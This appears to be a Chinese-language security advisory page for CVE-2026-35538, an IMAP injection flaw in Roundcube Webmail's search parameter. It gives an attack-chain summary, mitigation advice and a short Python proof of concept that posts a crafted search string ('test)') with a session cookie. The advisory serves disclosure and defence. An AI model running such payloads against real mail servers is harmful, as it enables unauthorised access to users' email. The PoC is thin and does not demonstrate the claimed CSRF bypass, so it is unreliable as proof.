IPBUF安全漏洞报告
English
CVE-2026-35538 CVSS 3.1 低危

CVE-2026-35538 Roundcube Webmail IMAP注入漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-35538
漏洞类型
IMAP注入
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Roundcube Webmail

相关标签

IMAP注入CSRF绕过RoundcubeWebmail信息泄露

漏洞概述

Roundcube Webmail 1.5.14和1.6.14之前的版本中存在一个安全漏洞。由于应用程序未能正确净化IMAP SEARCH命令的参数,攻击者可以利用该漏洞进行IMAP注入攻击或绕过CSRF保护机制。该漏洞允许攻击者通过网络向量,在拥有低权限账户且无需用户交互的情况下,操纵邮件搜索功能。成功利用此漏洞可能导致敏感信息泄露或未授权的操作执行,对系统的完整性和安全性构成威胁。

技术细节

漏洞根源在于Roundcube Webmail在处理用户提交的邮件搜索请求时,未对输入参数进行充分的过滤和转义,直接将其传递给后端的IMAP服务器。攻击者可以构造包含特殊IMAP协议字符的恶意搜索字符串(例如括号、引号等),从而注入额外的IMAP命令或修改原有查询逻辑。这种注入行为不仅可以绕过应用程序层的CSRF令牌验证,使得跨站请求伪造攻击成为可能,还可能利用IMAP协议的特性读取非预期的邮件内容。由于攻击向量通过网络(AV:N),且攻击者只需要低权限账户(PR:L),无需用户交互(UI:N),这使得该漏洞具有一定的隐蔽性和可利用性,特别是在需要社交工程结合CSRF绕过的场景中。攻击者可能利用此漏洞诱导管理员执行敏感操作,或者遍历其他用户的邮件数据,造成严重的信息泄露后果。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用的是Roundcube Webmail,且版本低于1.5.14或1.6.14。
STEP 2
漏洞利用
攻击者获取一个低权限账户,登录后向邮件搜索接口发送包含恶意IMAP语法的特制请求。
STEP 3
注入执行
后端IMAP服务器接收并执行被篡改的SEARCH命令,导致绕过CSRF检查或执行非预期的搜索操作。
STEP 4
达成目标
攻击者成功读取敏感邮件数据或诱导用户执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-host/?_task=mail&_action=search" # Attacker's session cookie (requires valid low-privilege account) cookies = { "roundcube_sessid": "valid_session_id_here" } # Payload attempting IMAP injection in the search parameter # This payload tries to append IMAP command syntax to the search query payload = { "_q": "test)", # Closing parenthesis to break out of original search "_mbox": "INBOX" } response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent. Check IMAP server logs for injection attempts.") else: print("[-] Failed to send request.")

影响范围

Roundcube Webmail < 1.5.14
Roundcube Webmail < 1.6.14

防御指南

临时缓解措施
建议立即实施官方补丁升级。在无法立即升级的情况下,应在Web应用防火墙(WAF)中添加规则,拦截包含特殊IMAP字符(如括号、引号等)的搜索请求参数,并严格限制IMAP服务的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表